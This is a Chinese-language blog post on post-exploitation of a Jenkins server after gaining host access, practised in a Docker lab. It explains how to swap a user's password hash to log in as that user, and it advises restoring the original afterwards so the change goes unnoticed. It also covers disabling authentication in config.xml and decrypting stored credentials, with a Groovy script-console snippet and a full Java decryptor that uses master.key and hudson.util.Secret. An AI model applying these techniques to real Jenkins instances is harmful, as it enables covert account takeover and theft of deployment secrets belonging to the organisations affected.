Jenkins后渗透

前言:实战中遇到了jenkins,这边记录下拿到了主机权限在没有用户密码的情况下如何登录用户和解密凭证

参考文章:https://blog.csdn.net/qq_37312180/article/details/127717560
参考文章:https://mp.weixin.qq.com/s/szFks8-YdlrOsv8LfKE-xQ

环境搭建

拉取jenkins镜像后台运行,映射本地/home/jenkins_home到docker容器中的/var/jenkins_home

docker run -d -u root -p 10000:8080 -p 50000:50000 --name jenkins -v /home/jenkins_home:/var/jenkins_home -v /usr/bin/docker:/usr/bin/docker -v /var/run/docker.sock:/var/run/docker.sock -v /etc/localtime:/etc/localtime jenkins/jenkins

访问10000端口,如下图所示,这边需要获取初始化密码,在docker容器中执行如下命令然后进行输入密码

cat /var/jenkins_home/secrets/initialAdminPassword

接着创建对应的用户进行保存,接下来一路保存并继续即可

来到登录界面,如下图所示

注意:如果遇到网络原因,需要将插件源设置为国内的才可以安装插件,如下操作即可解决。

进入宿主机目录 /var/jenkins_home/,编辑文件 hudson.model.UpdateCenter.xml ,替换url标签中的内容为https://mirrors.tuna.tsinghua.edu.cn/jenkins/updates/update-center.json

替换普通用户哈希登录

这边在users目录下有对应相关的用户的配置文件,如下图所示

这边测试修改zpchcbd用户的哈希值,这边打开用户配置文件

然后进行替换passwordHash标签为<passwordHash>#jbcrypt:$2a$10$PerJswtfjaa6ukA1t0K/ueUK5CI3rjA1.XUx4wCQt88dhihfxObBW</passwordHash>对应的密码是abc-123,如下图所示

注意:这边记得提前备份,后期利用完还需要替换回来,防止用户发现。

这个时候你发现去登录对应的用户的时候还是会报错,这边还需要重启一次docker的jenkins服务才可以重新加载该配置文件的密码

Hashcat哈希枚举密码

x

admin用户的密码

admin的默认密码存储于jenkins目录下的secrets目录下initialAdminPassword文件,如下图所示

不过实战发现这个initialAdminPassword文件一般都会被删除,如果存在的话就可以通过该默认密码进行登录。

如何判断admin账户存在

这边同样可以在users目录下进行查看,如果admin账号存在,那么在users目录下会存在一个admin账号对应的配置文件,如下图所示

免登录配置

如果你想要禁用登录认证并允许匿名访问,需要在jenkins目录下的config.xml文件中做三个修改来进行实现,记得提前先备份对应config.xml的文件

  • <useSecurity> 设置为 false,
  • 设置为 class="hudson.security.AuthorizationStrategy$Unsecured"
  • 设置为 class="hudson.security.SecurityRealm$None"。

这边来进行测试免登录配置,如下图所示

这边同样需要重启服务,这边搭建的是docker,那么这里的话重启docker容器就好了

重新访问jenkins的web页面,如下图所示,可以看到无需登录即可实现访问项目构建的页面

凭证解密

Jenkins构建时需要连接远程服务器并且执行脚本,这时就需要配置ssh免密钥登录或者是其他免密登录。

这边模拟创建一个账号/密码凭证来进行测试,如下图所示

这个时候如果创建了对应的凭证就会在jenkins目录下生成一个credentials.xml文件,其中包含了相关的凭证信息,如下图所示

第一种凭证解密方法

这种适用于有web权限的情况下,在脚本命令行的功能中运行下面的代码即可解密所有的凭证信息,如下图所示

com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{
  it.properties.each { prop, val ->
    println(prop + ' = "' + val + '"')
  }
  println("-----------------------")
}

第二种凭证解密方法

这个适用于没有web权限的情况下,通过拖取文件来本地进行解密

上面这段<password>{AQAAABAAAAAgwipdLNnbS8lfhd4wnmBA8IR2MGhZkvi7tEqu3NzBfHfyk2kdFwQ9KvnwUK4pELWj}</password>是可解密的,这边需要三个文件,分别是如下

  • credentials.xml
  • secrets/masterkey
  • secrets/hudson.util.Secret

将其上面的文件拖取到本地通过下面的代码来进行解密,如下图所示

package com.zpchcbd;

import org.apache.commons.io.IOUtils;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.security.GeneralSecurityException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64;

import static java.nio.charset.StandardCharsets.UTF_8;

/**
 * 文件名称:Test<br>
 * 初始作者:修罗大人<br>
 * 创建日期:2020-04-21 14:28<br>
 * 功能说明:<br>
 * <br>
 */
public class TestMain {

    private static final String KEY_ALGORITHM = "AES";
    private static final String ALGORITHM = "AES/CBC/PKCS5Padding";
    private final String rootDir = "C:\\Users\\user\\IdeaProjects\\JenkinsDecode\\secrets";
    private static final byte[] MAGIC = "::::MAGIC::::".getBytes();
    // 密文密码
    private static final String data = "{AQAAABAAAAA***********************EwoqaQ3kuDQX8nnqg=}";

    @org.junit.Test
    public void decrypt() {
        byte[] payload;
        try {
            payload = Base64.getDecoder().decode(data.substring(1, data.length()-1));
        } catch (IllegalArgumentException e) {
            return;
        }
        switch (payload[0]) {
            case 1:
                // For PAYLOAD_V1 we use this byte shifting model, V2 probably will need DataOutput
                int ivLength = ((payload[1] & 0xff) << 24)
                        | ((payload[2] & 0xff) << 16)
                        | ((payload[3] & 0xff) << 8)
                        | (payload[4] & 0xff);
                int dataLength = ((payload[5] & 0xff) << 24)
                        | ((payload[6] & 0xff) << 16)
                        | ((payload[7] & 0xff) << 8)
                        | (payload[8] & 0xff);
                if (payload.length != 1 + 8 + ivLength + dataLength) {
                    // not valid v1
                    return;
                }
                byte[] iv = Arrays.copyOfRange(payload, 9, 9 + ivLength);
                byte[] code = Arrays.copyOfRange(payload, 9+ivLength, payload.length);
                String text;
                try {
                    text = new String(decrypt(iv).doFinal(code), UTF_8);
                    System.out.println("密码明文:" + text);
                } catch (GeneralSecurityException e) {
                    System.out.println("1111111111111");
                    // it's v1 which cannot be historical, but not decrypting
                    return;
                }
//                return new Secret(text, iv);
            default:
                return;
        }
    }

    public Cipher decrypt(byte[] iv) {
        try {
            Cipher cipher = getCipher(ALGORITHM);
            cipher.init(Cipher.DECRYPT_MODE, getKey(), new IvParameterSpec(iv));
            return cipher;
        } catch (Exception e) {
            throw new AssertionError(e);
        }
    }

    private synchronized SecretKey getKey() throws Exception {
        SecretKey secret  = null;
        try {
            byte[] payload = load();
            if (payload == null) {
                payload = randomBytes(256);
//                    store(payload);
            }
            // Due to the stupid US export restriction JDK only ships 128bit version.
            secret = new SecretKeySpec(payload, 0, 128 / 8, KEY_ALGORITHM);
        } catch (IOException e) {
            throw e;
        }
        return secret;
    }

    protected byte[] load() throws Exception {
        try {
            File f = new File(rootDir,"hudson.util.Secret");
            if (!f.exists())
                return null;
            Cipher sym = getCipher("AES");
            sym.init(Cipher.DECRYPT_MODE, getMasterKey());
            try (InputStream fis= Files.newInputStream(f.toPath());
                 CipherInputStream cis = new CipherInputStream(fis, sym)) {
                byte[] bytes = IOUtils.toByteArray(cis);
                return verifyMagic(bytes);
            }
        } catch (Exception x) {
            if (x.getCause() instanceof BadPaddingException) {
                throw x; // broken somehow
            } else {
                throw x;
            }
        }
    }

    public static Cipher getCipher(String algorithm) throws GeneralSecurityException {
        return Cipher.getInstance(algorithm);
    }

    private SecretKey getMasterKey() throws Exception {
        File file = new File(rootDir,"master.key");
        SecretKey masterKey = toAes128Key(read(file).trim());

        return masterKey;
    }

    public String read(File file) throws Exception {
        StringWriter out = new StringWriter();
        PrintWriter w = new PrintWriter(out);
        BufferedReader in = Files.newBufferedReader(file.toPath(), StandardCharsets.UTF_8);
        String line;
        while ((line = in.readLine()) != null)
            w.println(line);
        return out.toString();
    }

    public byte[] randomBytes(int size) {
        byte[] random = new byte[size];
        new SecureRandom().nextBytes(random);
        return random;
    }

    private byte[] verifyMagic(byte[] payload) {
        int payloadLen = payload.length-MAGIC.length;
        if (payloadLen<0)   return null;    // obviously broken

        for (int i=0; i<MAGIC.length; i++) {
            if (payload[payloadLen+i]!=MAGIC[i])
                return null;    // broken
        }
        byte[] truncated = new byte[payloadLen];
        System.arraycopy(payload,0,truncated,0,truncated.length);
        return truncated;
    }

    public static String toHexString(byte[] bytes) {
        int start = 0;
        int len = bytes.length;

        StringBuilder buf = new StringBuilder();
        for( int i=0; i<len; i++ ) {
            int b = bytes[start+i]&0xFF;
            if(b<16)    buf.append('0');
            buf.append(Integer.toHexString(b));
        }
        return buf.toString();
    }

    public static SecretKey toAes128Key(String s) {
        try {
            // turn secretKey into 256 bit hash
            MessageDigest digest = MessageDigest.getInstance("SHA-256");
            digest.reset();
            digest.update(s.getBytes(StandardCharsets.UTF_8));

            // Due to the stupid US export restriction JDK only ships 128bit version.
            return new SecretKeySpec(digest.digest(),0,128/8, "AES");
        } catch (NoSuchAlgorithmException e) {
            throw new Error(e);
        }
    }

}

最终的解密结果如下所示

构建项目位置

参考文章:https://www.cnblogs.com/zpchcbd/p/18187943

这边简单的构建一个CI&DI项目,名称为sjdt_games,如下图所示

相关的项目构建的目录都会在jenkins目录下的workspace文件夹中,所以项目打包的话可以直接打包这个文件夹即可

通过用户token请求凭证登录页面

x

posted @ 2023-07-22 13:43  zpchcbd  阅读(1710)  评论(0编辑  收藏  举报